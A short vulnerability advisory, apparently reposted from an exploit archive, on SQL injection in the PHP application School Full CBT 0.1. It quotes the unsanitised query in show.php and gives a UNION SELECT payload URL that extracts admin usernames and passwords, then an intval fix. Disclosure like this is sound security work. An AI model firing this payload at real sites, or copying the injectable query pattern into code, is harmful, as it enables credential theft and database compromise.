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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title.............. School Full CBT SQL Injection
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/node/9859
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/fimo4real1992/cbt_by_ajijola_femi.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /show.php
-------------------------------

----snip----

$get = $_GET['show'];
	$result= mysql_query("select * from studentreg WHERE id=$get")or die(mysql_error());

----snip----


Example exploitation
--------------------

http://server/path_to_webapp/show.php?show=-1%20union%20select%201,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,user(),database(),31,32%20from%20adminlogin--+


How to fix
----------
Simple method's use the php function intval.
For example

$get = intval($_GET['show']);
	$result= mysql_query("select * from studentreg WHERE id=$get")or die(mysql_error());


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/node/9859
http://php.net/manual/en/function.intval.php